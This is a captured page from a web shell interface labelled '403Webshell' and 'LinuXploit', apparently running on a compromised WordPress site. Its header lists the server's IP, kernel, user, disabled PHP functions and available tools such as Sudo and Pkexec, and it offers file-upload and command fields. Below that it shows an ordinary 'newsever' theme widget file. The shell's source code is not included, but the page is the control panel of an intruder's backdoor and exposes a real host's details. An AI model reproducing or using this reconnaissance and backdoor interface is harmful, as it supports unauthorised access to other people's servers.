403Webshell
Server IP : 64.225.102.56  /  Your IP : 216.73.216.220
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux smtp.zejefoy.com 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : auto ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/auto/web/cifisoa.com/public_html/wp-content/themes/newsever/inc/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/auto/web/cifisoa.com/public_html/wp-content/themes/newsever/inc/widgets/widget-posts-list.php
<?php
if (!class_exists('Newsever_Posts_List')) :
  /**
   * Adds Newsever_Posts_List widget.
   */
  class Newsever_Posts_List extends AFthemes_Widget_Base
  {
    /**
     * Sets up a new widget instance.
     *
     * @since 1.0.0
     */
    function __construct()
    {
      $this->text_fields = array('newsever-categorised-posts-title', 'newsever-excerpt-length', 'newsever-posts-number');
      $this->select_fields = array('newsever-select-category', 'newsever-select-background', 'newsever-show-excerpt', 'newsever-select-background-type');

      $widget_ops = array(
        'classname' => 'newsever_posts_list list-layout aft-widget',
        'description' => __('Displays posts from selected category in a list.', 'newsever'),
        'customize_selective_refresh' => false,
      );

      parent::__construct('newsever_posts_list', __('AFTN Posts List', 'newsever'), $widget_ops);
    }

    /**
     * Front-end display of widget.
     *
     * @see WP_Widget::widget()
     *
     * @param array $args Widget arguments.
     * @param array $instance Saved values from database.
     */

    public function widget($args, $instance)
    {

      $instance = parent::newsever_sanitize_data($instance, $instance);


      /** This filter is documented in wp-includes/default-widgets.php */
      $title = apply_filters('widget_title', $instance['newsever-categorised-posts-title'], $instance, $this->id_base);

      $category = isset($instance['newsever-select-category']) ? $instance['newsever-select-category'] : '0';
      $background = isset($instance['newsever-select-background']) ? $instance['newsever-select-background'] : 'default';
      $background_type = isset($instance['newsever-select-background-type']) ? $instance['newsever-select-background-type'] : 'solid-background';

      $background = $background . ' ' . $background_type;


      $number_of_posts = isset($instance['newsever-posts-number']) ? $instance['newsever-posts-number'] : 6;

?>
      <?php

      if ($instance['newsever-select-background'] || $instance['newsever-select-background-type']) {
        $args['before_widget'] = newsever_update_widget_before($args, $background, 'aft-widget');
      }

      echo $args['before_widget'];
      ?>
      <?php if (!empty($title)): ?>
        <div class="em-title-subtitle-wrap">
          <?php if (!empty($title)): ?>
            <h4 class="widget-title header-after1">
              <span class="header-after">
                <?php echo esc_html($title); ?>
              </span>
            </h4>
          <?php endif; ?>

        </div>
      <?php endif; ?>
      <?php
      $all_posts = newsever_get_posts(6, $category);
      ?>
      <div class="widget-block widget-wrapper">
        <div class="af-container-row clearfix">
          <?php
          $count = 1;
          if ($all_posts->have_posts()) :
            while ($all_posts->have_posts()) : $all_posts->the_post();
              global $post;
              $thumbnail_size =  'thumbnail';

          ?>

              <div class="col-2 pad float-l af-double-column list-style" data-mh="af-feat-list">
                <div class="read-single color-pad">
                  <div class="read-img pos-rel col-4 float-l read-bg-img">
                    <a href="<?php the_permalink(); ?>" aria-label="<?php echo esc_attr(get_the_title($post->ID)); ?>">
                      <?php if (has_post_thumbnail()):
                        the_post_thumbnail($thumbnail_size);
                      endif;
                      ?>
                    </a>

                  </div>
                  <div class="read-details col-75 float-l pad color-tp-pad">
                    <div class="read-categories">

                      <?php newsever_post_categories(); ?>
                    </div>
                    <div class="read-title">
                      <h4>
                        <a href="<?php the_permalink(); ?>" aria-label="<?php echo esc_attr(get_the_title($post->ID)); ?>"><?php the_title(); ?></a>
                      </h4>
                    </div>
                    <div class="entry-meta">
                      <?php newsever_get_comments_count($post->ID); ?>
                      <?php newsever_post_item_meta(); ?>
                    </div>
                  </div>
                </div>
              </div>
          <?php
              $count++;
            endwhile;
          endif;
          wp_reset_postdata();
          ?>
        </div>
      </div>
      <?php
      // close the widget container
      echo $args['after_widget'];

      ?>


<?php  }

    /**
     * Back-end widget form.
     *
     * @see WP_Widget::form()
     *
     * @param array $instance Previously saved values from database.
     */
    public function form($instance)
    {
      $this->form_instance = $instance;
      $options = array(
        'true' => __('Yes', 'newsever'),
        'false' => __('No', 'newsever')

      );

      $background = array(
        'default' => __('Default', 'newsever'),
        'dim' => __('Dim', 'newsever'),
        'dark' => __('Alternative', 'newsever'),

      );




      $categories = newsever_get_terms();

      if (isset($categories) && !empty($categories)) {
        // generate the text input for the title of the widget. Note that the first parameter matches text_fields array entry
        echo parent::newsever_generate_text_input('newsever-categorised-posts-title', __('Title', 'newsever'), __('Posts List', 'newsever'));
        echo parent::newsever_generate_select_options('newsever-select-category', __('Select category', 'newsever'), $categories);

        echo parent::newsever_generate_select_options('newsever-select-background', __('Select Background', 'newsever'), $background);
      }

      //print_pre($terms);


    }
  }
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit